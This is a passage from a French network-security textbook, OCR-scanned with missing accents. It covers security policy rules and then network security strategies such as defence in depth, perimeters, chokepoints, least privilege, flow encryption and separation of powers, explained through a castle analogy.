• Des sauvegardes des informations critiques sont effectuees dans un lieu physique distinct de la 
source. Cela couvre en premier lieu la configuration des equipements. 

• Tout probleme detecte est identifie et resolu. 

• Des contre-mesures permettent de verifier que des problemes ne restent pas sans solution. 

• Tout probleme ou incident de securite est remonte par les procedures operationnelles aux responsa- 
bles des domaines vises, ainsi qu'a I'equipe securite. 

• Les procedures d'incidents de securite sont connues de tout le personnel de I'entreprise. 



Verification des configurations 

Les configurations des equipements reseau detiennent toute 1'information permettant de 
construire le reseau et ses services. Un certain nombre de regies de securite generiques 
doivent etre definies afln de garantir la disponibilite et l'integrite du reseau et de ses services. 



Guides et regies de verification des configurations a considerer 

• Le plan d'adressage est consistant. De maniere generique, il ne doit exister de doublons ni dans le 
plan d'adressage global du reseau, ni dans le plan d'adressage d'un VPN donne. 

• Les configurations des equipements reseau sont consistantes. De maniere generique, tout element de 
configuration defini doit etre applique, et tout element de configuration applique doit etre defini. Ces regies 
peuvent etre complexes, comme la verification de la grammaire associee au langage de configuration. 

• Les filtrages reseau, utilises pour controler, par exemple, les flux de donnees ou de routage, sont consis- 
tants. De maniere generique, les elements constituant un filtrage ne doivent etre ni redondants, ni contra- 
dictors entre eux. Ces regies peuvent etre complexes, comme la verification des regies inutiles. 
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Les configurations du routage reseau sont verifiees. Cela s'applique a la fois au routage interne du 
reseau et aux interconnexions de routage du reseau avec I'exterieur. II s'agit, par exemple, de verifier 
la topologie du routage interne et externe du reseau, la consistance de la politique de routage, etc. 

Les configurations des services reseau sont verifiees. II s'agit, par exemple, de verifier les perimetres 
de securite d'un VPN MPLS ou IPsec, etc. 

Les configurations des interconnexions avec les partenaires sont verifiees. 

Les configurations associees a I'administration du reseau sont verifiees. 



Securite physique 



La securite physique est evidemment un facteur cle de la reussite de la politique de secu- 
rite d'une entreprise. Elle consiste essentiellement a se proteger contre les vols, fuites 
d'eau, incendies, coupures d'electricite, etc. 



Guides et regies de securite physique a considerer 

• Si une piece contenant des equipements informatiques peut etre vue de I'exterieur, I'installation de 
rideaux permet ne de pas susciter le vol ou le vandalisme. La securite par I'obscurite n'est evidement 
pas une fin en soi, mais elle peut eviter une premiere serie de problemes. 

• Une salle d'ordinateurs n'est jamais installee au rez-de-chaussee, sous peine que les equipements 
trempent dans pres d'un metre d'eau suite a une brusque montee des eaux. 

• Des perimetres de securite physique a acces restreint sont definis et equipes de cameras de 
surveillance. 

• Les ressources critiques (equipements) sont placees dans le perimetre le plus securise. 

• Toute modification physique d'infrastructure est identifiee, reportee et validee. 

• Des controles d'acces physiques sont mis en place pour I'acces aux perimetres de securite. 

• Des procedures autorisent et revoquent I'acces aux perimetres de securite. 

• Le site ne se trouve pas sur un lieu connu pour des catastrophes naturelles (foudre, tremblement de 
terre, inondation, etc.). 

• Des equipements de protection contre le feu, I'eau, I'humidite, les pannes de courant, le 
survoltage, etc., sont installes. 

• Des procedures de supervision des elements de protection sont en place. 



Plan de contingence 

Tout element critique susceptible d'impacter l'entreprise en cas de probleme fait partie d'un 
plan global de contingence. L'objectif d'un tel plan est de proteger le perimetre de l'entreprise. 

Le temps de restauration d'un service apres desastre devient critique pour l'entreprise s'il 
tend a se prolonger. Les impacts changent alors de nature pour prendre la forme d'une 
perte de revenu ou de credibilite, par exemple. 

S'il est toujours difficile d'estimer le temps minimal a partir duquel une entreprise est 
mise en difflculte, il n'en reste pas moins que l'impact sur l'entreprise d'un incident 
majeur croit de fa^on exponentielle en fonction du temps. 
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Guides et regies du plan de contingence a considerer 

• Les ressources critiques de I'entreprise sont identifies. 

• Une classification des ressources critiques de I'entreprise est effectuee. 

• Un plan de contingence est defini, incluant toutes les ressources critiques de I'entreprise : 

- Le plan de contingence detaille les priorites. 

- Le plan de contingence precise les temps de restauration de chaque ressource critique. 

- Le plan de contingence reference un ensemble de procedures. 

- Le plan de contingence est revu regulierement en tenant compte des evolutions techniques et orga- 
nisationnelles. 



Audit de la securite 

Le fait de definir une politique de securite ne signifle pas necessairement qu'elle soit 
implementee ni, si elle est implementee, qu'elle le soit toujours demain. 

L' audit externe, par une tierce partie, ou interne, par l'equipe de securite de I'entreprise, 
est primordial pour s'assurer du degre d'application ou de deviation de l'application de la 
politique de securite. 

L' audit est un veritable etat des lieux, integrant la securite tant physique que logique de 
I'entreprise. De plus, il degage les dispositions generates prises concernant la securite et 
identifie les vulnerabilites techniques et organisationnelles arm de proposer des recom- 
mandations lucides et realistes. 

Une approche classique consiste a definir un plan d' audit detaille afin de cerner les 
elements critiques de I'entreprise et d'eviter de se perdre dans des details sans interet. 



Guides et regies d'audit de la securite a considerer 

• Des controles de securite sont effectues regulierement sur les elements critiques de I'entreprise. Un 
plan detaille d'audit est defini. 

• Des audits de securite sont effectues annuellement sur les elements critiques de I'entreprise selon un 
plan detaille d'audit. 

• Tout audit est coordonne avec l'equipe securite de I'entreprise. L'utilisation d'outils ou la sauvegarde de 
donnees est approuvee par l'equipe de securite. 

• Les recommandations decoulant des audits et controles de securite sont presentees au comite de securite. 



En resume 



La definition d'une politique de securite reseau vise tout a la fois a definir les besoins de 
securite de I'entreprise, a elaborer des strategies de securite afin de proteger les biens les 
plus critiques et a definir le referentiel des controles de securite. 

Apres avoir defini les objectifs et le contenu d'une politique de securite reseau, nous 
detaillons au chapitre suivant les strategies de securite a mettre en oeuvre autour d'une 
telle politique de securite. 




Les strategies 
de securite reseau 



Apres avoir deflni les objectifs et le contenu d'une politique de securite reseau, nous 
detaillons a present les strategies de securite a adopter pour mettre en oeuvre une telle 
politique. 

L'etablissement de strategies de securite exige de prendre en compte l'historique de 
l'entreprise, l'etendue de son reseau, le nombre d' employes, la sous-traitance avec des 
tierces parties, le nombre de serveurs, 1' organisation du reseau, etc. 

D'une maniere generale, une bonne strategic de securite vise a deflnir et mettre en oeuvre 
des mecanismes de securite, des procedures de surveillance des equipements de securite, 
des procedures de reponse aux incidents de securite et des controles et audits de securite. 
Elle veille en outre a ce que les dirigeants de l'entreprise approuvent la politique de secu- 
rite de l'entreprise. 

Nous montrons dans ce chapitre comment elaborer une strategic de securite et donnons 
les regies elementaires a considerer dans son elaboration, ainsi que quelques exemples de 
strategies de securite. 

Methodologie pour elaborer une strategie de securite reseau 

Diverses methodes permettent d' elaborer des strategies de securite. Nous decrivons dans 
cette section la methodologie generique illustree a la figure 6.1. 
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Figure 6.1 

Methodologie generique de 
strategie de securite reseau 



Prediction des agressions potentielles et analyse de risque 

Pour chaque type de menace (agresseur intentionnel, erreur, ...) 
Pour chaque methode d'attaque (virus, ...) 
■► Strategie proactive 



Prediction des dommages possibles 
Determination du degre de vulnerability 
Minimisation de ce degre de vulnerability 



Mise en ceuvre et developpement des strategies et controles de securite 
Elaboration des plans de contingence 



Strategie reactive 



Analyse des dommages 
Determination de leur origine 
Reparation des dommages 



Mise en ceuvre et developpement des strategies et controles de securite 
Mise en ceuvre du plan de contingence 



Analyse des resutats et execution des simulations 
Analyse de I'efficacite des strategies 
Modification des strategies pour amelioration 



Prediction des attaques potentielles et analyse de risque 

La premiere etape consiste a determiner les menaces qui pesent sur les biens de l'entre- 
prise, ainsi que les impacts de ces menaces sur l'activite de l'entreprise si elles devaient 
se concretiser. 

Le rapprochement entre les ressources critiques de l'entreprise et les risques de securite 
associes, determines par le triptyque menace/vulnerabilite/consequence, permet de defi- 
nir la strategie securite de l'entreprise. 

Afin de proteger ses biens critiques des menaces identiflees, l'entreprise doit aussi analy- 
ser les techniques d'attaque utilisees pour enfreindre les controles de securite ou tirer 
parti des vulnerabilites. Ce deuxieme niveau d' analyse permet de definir des strategies de 
securite proactives, visant a diminuer les probabilites d' occurrence des menaces. 

Typologie des menaces 

Les differentes categories de menaces qui pesent sur le systeme d' information ou sur un 
reseau peuvent etre classees comme illustre a la figure 6.2. 

Les menaces non intentionnelles ou imprevisibles, comme les catastrophes naturelles, ne 
mettent pas en oeuvre d'outils ou de techniques particulieres et n'ont evidemment pas 
d'objectif determine. A 1' inverse, les menaces intentionnelles mettent generalement en 
oeuvre des outils et des techniques d'attaque tres varies. 

Des etudes ont montre que, dans les trois quarts des cas, les menaces reelles de securite 
viennent de l'interieur de l'entreprise. Face aux menaces identiflees lors de la premiere 
etape, des strategies de securite proactives ou reactives doivent etre definies pour tous 
les cas. 

Comme explique a la premiere partie de cet ouvrage, pour chaque menace identifiee, 
differents types d' attaques peuvent etre lances. De plus, une meme attaque peut recourir 
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Menaces de securite 




Humaines 




Catastrophes naturelles 



Intentionnelles 




Non intentionnelles 



Inondations, incendies, 
tremblements de terre, etc. 



Agresseurs externes 
(virus, vers, etc.) 



Agresseurs internes 
(employes mecontents, etc.) 



Erreurs de manipulation, 
configuration, etc. 



Figure 6.2 

Typologie des menaces 



a differentes methodes et techniques. II est done necessaire que la strategie de defense 
tienne compte de chacune de ces methodes ou techniques. 

Strategie proactive (prevenir une attaque) 

Une strategie proactive consiste en un ensemble d'etapes predefinies qui doivent etre 
executees afin de se premunir d'attaques identifiees. 

Une telle strategie doit tout d'abord e valuer les dommages causes par une attaque 
donnee. Ces dommages peuvent aller d'un impact mineur (courte indisponibilite, rede- 
marrage de l'equipement, etc.) jusqu'a la perte totale du bien attaque (reinstallation 
complete des configurations des equipements, impacts sur d'autres biens, etc.). 

La strategie proactive evalue ensuite le degre de vulnerability et les faiblesses exploitees 
par chaque attaque identifiee. Cette etape vise a definir de maniere precise les elements 
de contre-mesure a mettre en place en tenant compte de differents types de contraintes. 
Les risques associes aux vulnerabilites et faiblesses detectees doivent etre reduits par la 
mise en place de ces elements de contre-mesure. 

La derniere etape de la strategie proactive consiste a elaborer un plan de contingence, ou 
Business Continuity Plan, visant a definir les actions a mettre en oeuvre en cas d' attaque 
reussie. Ce plan definit chaque tache a executer, ainsi que le moment de son execution et 
la personne qui en a la charge. II doit resoudre en outre le probleme de la restauration des 
donnees et peut inclure une contrainte de deplacement du bien vers un autre lieu, en cas 
d' impact physique sur les locaux, par exemple. 

Un tel plan doit faire l'objet d'exercices reguliers afin que le personnel soit parfaitement 
prepare au moment ou le plan devra etre reellement mis en oeuvre. 



126 



Tableaux de bord de la securite reseau 



Strategie reactive (minimiser les consequences) 

Une strategie reactive definit les etapes a mettre en ceuvre apres ou pendant un incident. 
Elle suppose que la strategie proactive a echoue. 

Cette strategie consiste tout d'abord a analyser 1' incident de securite afln de determiner 
les dommages causes, les techniques et outils d'attaque utilises, etc. II est primordial de 
determiner le plus vite possible l'etendue des dommages afln de decider des actions 
d'urgence a entreprendre. 

Non moins importante est la determination des causes de l'incident par une analyse des 
traces systeme (logs) et reseau laissees, par exemple, sur les pare-feu, mais aussi par la 
detection de signatures de programmes, de chevaux de Troie ou de « rootkit », de zones 
utilisees comme nids par l'intrus, de virus ou de vers, etc., sur les systemes attaques. 

En cas d'intrusion, un test de penetration peut etre realise afln de confirmer la faiblesse 
de securite exploitee par l'intrus. 

L'etape suivante commence des la fin de 1' analyse post-mortem. Elle consiste a reparer 
les dommages causes. Elle vient necessairement a la fin de 1' analyse de fa^on que la 
restauration des donnees affectees n'ecrase pas les traces de l'incident de securite. Cette 
logique est a rapprocher de celle a 1' ceuvre dans les autopsies consecutives a des affaires 
criminelles, lors desquelles les services de medecine medico-legale ne sont pas autorises 
a toucher au cadavre avant que les enqueteurs aient fini 1' investigation du lieu du crime. 

Les lemons apprises de l'incident de securite font l'objet d'un rapport detaille d'incident. 
Ce document detaille les aspects techniques (dommages causes, moyens mis en 
oeuvre, etc.) et analyse l'impact de l'incident sur l'entreprise (baisse de productivity, fuite 
d' information, donnees perdues, etc.). Ce rapport permet d'evaluer le cout financier de 
l'incident de securite et d'ameliorer les strategies de reduction des risques. 

La mise en oeuvre d'un plan de contingence, s'il existe, peut etre envisagee selon la criti- 
cite du bien impacte. Si 1' analyse post-mortem prend trop de temps, il peut etre neces- 
saire de demarrer un plan de contingence afln de resoudre la crise le plus rapidement, 
meme en mode degrade. 

Analyse des resultats et amelioration des strategies de securite 

Les differentes simulations sont 1' occasion d'ameliorer les contre-mesures de securite, 
voire de les remettre en question. Par exemple, si Ton constate que certains types d' atta- 
ques ne sont pas detectes par un pare-feu, les regies de filtrage definies ou le pare-feu lui- 
meme doivent etre remis en cause. 

II faut aussi valider l'efficacite des strategies de securite mises en place face aux simula- 
tions executees. Enfin, dans la mesure ou la strategie existante n'a pas apporte de resolu- 
tion satisfaisante, il est necessaire de la modifier ou d'en creer une nouvelle. 
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Regies elementaires d'une strategie de securite reseau 

Lors de l'etablissement d'une strategie de securite, il faut toujours garder a l'esprit quel- 
ques regies ou principes elementaires afln de se premunir des erreurs possibles dans le 
choix de contre-mesures. 

Les sections qui suivent recensent les plus importantes de ces regies. 

Simplicity 

Plus une strategie est complexe, plus il est difficile de l'appliquer, de la maintenir dans le 
temps ou de la faire evoluer. 

La simplicite et le pragmatisme sont des criteres de reussite d'une strategie de securite. 

Le maillon le plus faible 

Un reseau est compose d'un ensemble d'equipements, ayant ou non une fonction de 
securite implementee. Un routeur a pour role d'acheminer du traflc de donnees tandis 
qu'un pare-feu filtre les flux reseau. Pour qu'une strategie de securite recouvre le perime- 
tre de l'entreprise, il faut s'assurer que toutes les methodes d'acces fournissent un meme 
niveau de securite, faute de quoi le maillon le plus faible sera privilegie pour attaquer le 
reseau d'entreprise. 

A quoi peut servir un pare-feu s'il existe un systeme au-dela de ce pare-feu dans le reseau 
interne qui autorise l'acces, ou si le pare-feu protege un reseau qui heberge un systeme 
que Ton peut pirater par les flux reseau qui sont ouverts au public ? 

Variete des protections 

La variete des solutions mises en place pour assurer la securite ne doit pas se fonder sur 
un seul type de logiciel de pare-feu ou de detection d' intrusion. 

A titre d'exemple, une architecture visant a proteger l'entreprise des acces reseau Inter- 
net pourrait reposer sur deux types de pare-feu differents, un pour proteger un sous- 
reseau DMZ d'Internet et un autre pour proteger l'entreprise de cette DMZ. C'est ce 
qu'illustre la figure 6.3. 
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Figure 6.3 

Variete des protections 
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Pour reussir une attaque, l'intrus devrait etre capable de passer les deux types de produits 
pour atteindre le reseau de l'entreprise. Les deux pare-feu peuvent etre de marque et de 
modele differents, voire implementer des technologies differentes (filtrage de paquet, 
relais applicatif), complexiflant d'autant les techniques de penetration du reseau de 
l'entreprise. 

Implementation en profondeur des mecanismes de securite 

La securite ne doit jamais reposer sur un seul mecanisme de securite. Une imbrication de 
mecanismes offre une garantie de securite bien superieure, pour peu que le premier 
element de securite vienne a faillir. 

Un schema d' implementation en profondeur des mecanismes de securite peut etre le 
suivant : 

• Un premier element de securite filtre 1' acces aux adresses IP des equipements reseau 
par des ACL (Access Control List). 

• Un deuxieme element de securite authentifie les acces a l'equipement a l'aide d'algo- 
rithmes de chiffrement et de protocoles d' acces offrant de telles options, tels IPsec ou 
SSH (Secure Shell). 

• Un troisieme element de securite chiffre les acces a l'equipement a l'aide d'algorithmes 
de chiffrement et de protocoles d' acces offrant de telles options, tels IPsec ou SSH. 

L' implementation de mecanismes de securite en profondeur doit etre comprise et perdue 
comme une assurance de securite a plusieurs niveaux. Plus le systeme a proteger est criti- 
que, plus le nombre de mecanismes de securite doit etre important. 

Separation logique et physique des protections de securite 

Tout comme la definition des domaines de securite, le principe de separation logique et 
physique des protections de securite est primordial pour ne pas concentrer la securite en 
un seul point, devenant de facto un point de faiblesse. 

La figure 6.4 illustre la comparaison entre un meme equipement reseau implementant les 
fonctions de routage reseau, de chiffrement par tunnel IPsec et de pare-feu et trois equi- 
pements, chacun dedies a l'une de ces fonctions (routage, chiffrement, pare-feu). 

La separation des equipements et fonctions de securite engendre des compartiments etan- 
ches de securite, ainsi qu'une meilleure implementation des fonctions de securite sur des 
materiels dedies. La configuration d'equipements separes est par ailleurs plus simple que 
celle d'une plate-forme unique. 

Un autre probleme des equipements uniques concerne l'ordre d' application des fonction 
de securite (NAT, chiffrement IPsec, filtrage de protocoles, etc.). L' experience montre que 
le cout financier de tels systemes est souvent prohibitif, alors meme que leur exploitation 
est plus delicate et que la resolution des problemes tourne rapidement au cauchemar. 



Les strategies de securite reseau 



129 



Chapitre 6 



Figure 6.4 
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Prise en compte de la securite dans la conception des projets 

Les contraintes de securite doivent etre prises en compte des la phase de conception des 
projets, car il est extremement difficile de revenir sur un projet une fois qu'il est mis en 
place. La securite est a considerer non comme une contrainte supplemental mais 
comme une garantie de qualite du projet. 

Chaque projet inclut done un volet securite valide par l'equipe securite. De plus, et dans 
1' ideal, tout projet subit un ensemble de tests de securite destines a verifier que la securite 
deflnie est bien implementee et que le projet ne comporte pas de faille de securite poten- 
tielle pour les systemes informatiques concernes. Enfln, le projet tient compte de la 
necessite de maintenir cette securite pendant sa phase operationnelle. Cela concerne dans 
la plupart des cas 1' application de correctifs, ou patch de securite, mais cela peut aller 
jusqu'a la necessite de repenser 1' application pour compenser des failles decouvertes 
ulterieurement. 

Les verifications suivantes sont imperatives : 

• Conformite des fonctionnalites implementees avec les RFC de 1'IETF. Le suivi des 
normes des protocoles ou services reseau depend tres fortement de chaque implemen- 
tation (on vise ici le code source) realise sur un equipement donne. Par exemple, deux 
piles IP/TCP de deux systemes d' exploitation differents n'ont generalement pas le 
meme comportement bien que leurs implementations doivent suivre les memes RFC. 

• Bon fonctionnement des mecanismes de securite (filtrage de protocoles, translation 
d'adresse, etc.) et des parametres offerts. II peut arriver que le cumul de fonctions de 
securite affecte un mecanisme de securite ou que des parametres de securite ne repon- 
dent pas aux besoins attendus. 

• Tests de charge pour mesurer les impacts potentiels de 1' implementation d'un meca- 
nisme de securite sur le systeme global. II ne faut pas qu'un mecanisme de securite 
devienne par lui-meme un element de faiblesse du systeme. L' experience montre 
qu'une faiblesse d'un mecanisme de securite permet, par exemple, de lancer des atta- 
ques par deni de service. 
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• Tests d'attaque, incluant les attaques par deni de service, arm de s'assurer que l'imple- 
mentation du systeme n'est pas vulnerable (debordement de zone memoire, explosion 
de la pile d'execution, etc.). C'est une etape indispensable avant la mise en exploita- 
tion d'un equipement ou service. 

Tous ces tests et verifications doivent etre realises dans un environnement dedie et non 
d' exploitation. 



Propositions de strategies de securite reseau 

Les sections qui suivent detaillent un ensemble de strategies de securite focalisees sur des 
domaines speciflques. Ces strategies de securite doivent etre considerees comme des 
briques a adapter afln de construire des strategies personnalisees. 

Nous prenons comme exemple une entreprise dont le reseau interne, ou intranet, comporte 
un sous-reseau dedie a la production, un sous-reseau dedie a la recherche-developpement 
et un sous-reseau dedie a la bureautique. Ce reseau intranet est connecte a Internet. 

Pour mieux faire comprendre ces propositions de strategies, nous nous appuyons sur 
l'analogie du chateau fort, dont le modele de securite est assez proche de celui d'un reseau. 

Strategie des perimetres de securite 

Au commencement, nous avons simplement une zone a proteger : il s'agit de 1' emplace- 
ment ou sera erige le chateau, qui n'est qu'un simple champ. La premiere etape dans la 
construction du chateau fort consiste a deflnir le perimetre a proteger et a construire des 
remparts tout autour. Ces remparts ont pour fonction de proteger le perimetre d'un envi- 
ronnement exterieur considere comme inconnu et done a priori a risque. 

Au sein des remparts seront crees dans un second temps des points de communication 
entre le perimetre a proteger et 1' exterieur. 

Principe 

« Le reseau d' entreprise est decoupe en perimetres de securite logiques regroupant des 
entites oufonctions afin de mettre en place des niveaux de securite a lafois imbriques et 
separes. » 

Description 

Nous commen^ons par deflnir un perimetre autour du reseau d' entreprise (intranet) face 
au reseau Internet. Nous deflnissons egalement des perimetres de securite pour chacun 
des sous-reseaux inclus dans le reseau intranet, comme illustre a la figure 6.5. 

Notre objectif est de compartimenter le reseau et de creer une imbrication des perimetres 
de securite afln de rendre plus difficile une penetration eventuelle. 
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Figure 6.5 
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Cette strategic des perimetres de securite doit etre couplee avec celle des goulets d'etran- 
glement, qui vise a mettre en place un nombre limite de points de controle d'acces de ces 
perimetres. 

Strategie des goulets d'etranglement 

Maintenant que nous avons erige des remparts plus ou moins solides et efflcaces afm de 
deflnir nos perimetres de securite, nous avons la possibilite de mettre en place des contro- 
les d'acces. Nous allons done placer des goulets d'etranglement et installer des controles 
d'acces sur ces goulets. 

Des lors, il ne sera possible d'entrer dans le chateau que par un nombre defini d' entrees- 
sorties. De plus, ces entrees-sorties sont gardees, et les personnes qui entrent ou sortent 
font l'objet d'un controle. 

En gardant a 1' esprit la regie strategique de variete des protections, ces points d' entrees- 
sorties sont de nature differente. En reprenant l'analogie du chateau fort, on aura des 
douves, un pont-levis, une herse a 1' entree et une porte completant la herse. Notre strate- 
gic implique evidemment que le maitre du chateau interdise aux occupants de creer des 
portes derobees, quelle qu'en soit la raison. 



Principe 

« Des controles d'acces differencies et en nombre limite sont implements pour permet- 
tre Faeces a chaque perimetre de securite du reseau de V entreprise. » 
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Description 

Les controles d'acces definissent ce qu'il est autorise de faire pour entrer dans un perime- 
tre de securite du reseau. Nous partons du postulat que « tout ce qui n'est pas autorise est 
interdit ». Les controles d'acces definissent par ailleurs les conditions a respecter pour 
avoir le droit d' entrer dans le perimetre de securite. 

La figure 6.6 illustre les controles d'acces representes par des pare-feu sur chacun des 
perimetres de securite. 



Figure 6.6 
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Techniquement, les controles d'acces sont constitues de filtrages de paquets (pare-feu) et 
de relais applicatifs (proxy). Ces solutions permettent d'autoriser un certain nombre de 
flux reseau sortants (HTTP, FTP, SMTP, etc.) appliques a 1' ensemble du reseau interne 
ou a certaines adresses. Elles interdisent tout traflc non autorise vers le reseau interne. 

Les controles d'acces s'accompagnent d'une politique definissant les regies suivantes a 
respecter : 

• Chaque systeme ne dispose que d'une seule connexion active au reseau d'entreprise. 
Cela permet de se premunir de l'utilisation de modems ou de peripheriques sans fil 
dans le reseau interne. Si Ton permettait a un utilisateur de configurer sa station de 
travail afln d'etre accessible depuis l'exterieur par modem, cela representerait un 
risque d' intrusion non controle dans le reseau interne. 
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• Internet est un outil de travail, et son utilisation est limitee au strict cadre profes- 
sional. 

• Des contraintes de securite sont appliquees sur les stations de travail (systeme 
d' exploitation, outils bureautique, navigateur Internet, quels outils peuvent etre instal- 
lees et par qui, etc.). 

• Obligation est faite d' installer et de mettre a jour le logiciel antivirus choisi par l'entre- 
prise. 

• Interdiction d'utiliser tout outil permettant d'obtenir des informations sur un autre 
systeme de l'entreprise. 

Concernant les communications entre le reseau de l'entreprise et un autre reseau, une 
politique speciflque de controle d' acces precise les points suivants : 

• Definition des services reseau accessibles sur Internet. 

• Definition des controles associes aux flux autorises a transiter par le perimetre de secu- 
rite pour verifier, par exemple, que les flux SMTP, HTTP et FTP ne vehiculent pas de 
virus. Ces controles peuvent aussi concerner des solutions de flltrage d'URL pour 
empecher les employes de visiter des sites non autorises par l'entreprise, reprimes par 
la loi, ou simplement choquants (pedophiles, pornographiques, de distribution de logi- 
ciels ou de morceaux de musique pirates, etc.). 

• Definition des mecanismes de surveillance qui doivent etre appliques au perimetre de 
securite. Ces mecanismes concernent la collecte et le stockage des traces (logs), les 
solutions d' analyse d'attaque, comme les sondes d' intrusion, ou IDS (Intrusion Detec- 
tion System), et les solutions d' analyse de traflc ou de prevention d'intrusion IPS 
(Intrusion Preventing System). 

Strategie d'authentification en profondeur 

Maintenant que nous avons deflni des perimetres de securite et des goulets d'etrangle- 
ment, nous allons authentifler les passants qui traversent chaque porte, voire chaque 
chemin au sein du chateau fort afln de prouver son identite sous peine d'etre arrete. 

Principe 

« Des controles d'authentification sont mis en place afin d'authentifier les acces aux 
perimetres de securite. » 

Description 

Dans cette strategie, des systemes de controle d'authentification sont inseres au sein d'un 
perimetre de securite, comme illustre a la figure 6.7. 

Les controles d'authentification des utilisateurs s'effectuent a plusieurs passages, au 
niveau de la sortie Internet, ou chaque utilisateur doit s' authentifler pour avoir acces a 
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Internet, mais aussi au niveau de chaque serveur pour acceder au reseau interne (serveurs 
de flchiers, serveurs d' impression, etc.). 

Chaque fois qu'un utilisateur s'authentifle, un ticket est cree sur un systeme charge de 
stocker les traces (logs) afin que le parcours de 1' utilisateur soit connu a tout moment de 
maniere precise. 

Cette logique peut etre generalisee et entrainer la creation d'une trace pour chaque action 
de 1' utilisateur sur chaque serveur (creation, consultation, modification, destruction de 
fichier, impression de document, URL visitee par l'utilisateur, etc.). On parle en ce cas de 
modele AAA (Authentication, Authorization, Accounting), autrement dit authentifica- 
tion, autorisation et comptabilite des evenements. La mise en place d'une telle infrastruc- 
ture est toutefois lourde et couteuse. 



Strategie du moindre privilege 

La strategie du moindre privilege consiste a s'assurer que chacun dispose de tous les 
privileges et seulement des privileges dont il a besoin. Pour reprendre notre analogie, le 
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manant n'a pas le droit d'acceder au chateau fort du seigneur ni aux mecanismes de 
protection du chateau. L' artisan n'a pas le droit d'acceder au depot d'armes ni l'armurier 
aux reserves de nourriture. 

Par cette strategic du moindre privilege, la portee de tout acte de malveillance se trouve 
reduite par defaut aux privileges dont dispose la personne qui le commet. II faut done une 
complicity de plusieurs personnes pour atteindre un privilege susceptible de mettre en 
peril les defenses du chateau fort. 

Un moyen de renforcer a l'infini cette technique consiste a augmenter le nombre d'auto- 
risations necessaires arm qu'une operation soit possible. Ainsi, une cle de l'armurerie 
serait possedee par l'armurier, et une autre par une seconde personne telle que le maitre 
d'arme. Eire l'armurier ne suffit done plus a avoir le droit d'acces a l'armurerie, ou alors 
partiellement (pour deposer de nouvelles armes, par exemple). 

Bien sur, de telles ameliorations impliquent des contraintes supplementaires, qu'il faut 
gerer (en cas de guerre, il faut pouvoir acceder rapidement a l'armurerie, sans attendre les 
deux possesseurs des cles). 

Tout mecanisme de securite doit etre assorti d'un moyen de le desactiver en cas de proce- 
dure d'urgence. 

Principe 

« Un utilisateur ne dispose que des privileges dont il a besoin. » 

La mise en ceuvre de ce principe simple a enoncer est assez lourde pour l'entreprise en 
terme de ressources et de couts. 

Description 

De nos jours, un utilisateur au sein de l'entreprise est toujours relie au reseau interne, 
lequel heberge les stations de travail des utilisateurs, mais egalement les serveurs locaux, 
de fichiers et d'impression, par exemple, ou globaux, associes a l'activite de l'entreprise, 
offrant egalement un acces a Internet. 

L' application stricte de cette strategic, dans laquelle un utilisateur dispose du droit 
d'acces a un systeme specifique et a aucun autre, est generalement difficile a realiser de 
maniere globale. 

Seule une solution technique de type SSO (Single Sign On) permet d'identifier et 
d'authentifier de maniere precise un utilisateur, quelle que soit son adresse reseau, et de 
lui appliquer un profil, avec des droits d'acces specifiques. 

Strategie de confidentialite des flux reseau 

Tout message qui doit etre emis a l'exterieur ou vers d'autres reseaux doit etre protege. 
Pour y parvenir, le message doit etre chiffre au moyen d'une table alphabetique de subs- 
titution uniquement connue de l'emetteur et du recepteur. 
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Principe 

« Toute communication intersite transitant sur des reseaux publics est chiffree si elle 
contient des donnees confidentielles. » 

Description 

Cette strategic est generalement appliquee aux reseaux d'entreprise repartis sur plusieurs 
sites distants communiquant entre eux par l'intermediaire de reseaux publics tels que 
Internet, X.25, liaisons specialisees, etc. 

Le chiffrement des flux peut se mettre en place a differents niveaux. Lorsqu'une entre- 
prise cree un reseau de type WAN (Wide Area Network), elle construit un reseau central 
(backbone) et relie ses sites a ce reseau, comme illustre a la figure 6.8. 



Figure 6.8 

Exemple d' interconnexion 
de sites 




Pour garantir la confidentialite des flux de telecommunications intersites, des boitiers de 
chiffrement, telles les passerelles IPsec, sont places juste avant les routeurs afin de chif- 
frer les flux reseau avant qu'ils ne transitent sur les reseaux publics, comme illustre a la 
figure 6.9. 

Tous les flux qui sortent de chaque site sont chiffres a la volee par le boitier de chiffre- 
ment place en goulet d'etranglement sur les connexions intersites. 

II existe bien d'autres moyens de chiffrer les communications au sein d'un reseau. Par 
exemple, au lieu d'utiliser la technologie HTTP pour se connecter aux serveurs Web, le 
protocole HTTPS (avec chiffrement SSL) peut etre choisi. 
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Figure 6.9 
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De meme, les services reseau utilises pour 1' administration des systemes peuvent etre 
preferes en version chiffree. SSH peut remplacer, par exemple, le protocole d'acces 
Telnet. Les outils de console distante Windows (PC Anywhere, Radmin, 
Ultr@VNC, etc.) peuvent mettre en ceuvre le chiffrement soit parce qu'ils offrent ce 
service par defaut, comme le module de chiffrement sur Ultr@VNC, soit par l'ajout 
d'une nouvelle couche de chiffrement, comme dans le cas de Telnet sur SSL. 

L' encapsulation d'un flux s'appuyant sur le protocole TCP est aisee avec SSH. En revan- 
che, cette encapsulation est plus difficile a realiser avec des protocoles fondes sur UDP 
ou ICMP. 



Stmtegie de separation des pouvoirs 

V 

A ce stade, nous avons construit notre chateau, et nous controlons les points d' entree et 
de sortie. Tous ces services sont assures par une meme entite. Si cette entite vient a 
defaillir, elle risque toutefois d'autoriser l'ennemi a entrer dans tous les perimetres de 
securite du chateau, conduisant toute la securite du chateau fort a s'ecrouler. 

Pour contourner ce risque, il faut creer plusieurs postes de garde, chacun en charge 
d'un perimetre de securite du chateau. De plus, chaque garde ne doit pas faire 
confiance aux autres. 
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Principe 

« Des entites separees sont creees, chacune responsable de zones de securite specifiques 
du reseau d'entreprise. » 

Description 

II n'existe souvent dans l'entreprise qu'un seul departement pour prendre en charge 
toutes les fonctions associees aux services informatiques internes (IT). Une telle organi- 
sation convient aux petites entreprises, qui ne disposent pas de beaucoup de ressources 
pour satisfaire ce besoin. 

Plus l'entreprise est importante, plus il est necessaire de separer ou de limiter les 
pouvoirs de chaque entite arm de limiter les consequences ou les impacts sur l'entreprise 
d'actes de malveillance. Un bon exemple illustrant la necessite de la separation des 
pouvoirs est celui d'un departement qui doit a la fois assurer une fonction operationnelle 
et en controler 1' application. S'il n'existe pas d'entite independante au niveau organisa- 
tional chargee du controle, il est pratiquement certain que les procedures les plus 
contraignantes seront ignorees, creant ainsi un maillon faible. 

La figure 6.10 illustre 1' organisation ideale de notre reseau d'entreprise en equipes char- 
gees de la securite de chaque perimetre de securite. 



Figure 6.10 
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Strategie d'acces au reseau local 

Nous avons defini des perimetres et des postes responsables pour chacun des perimetres. 
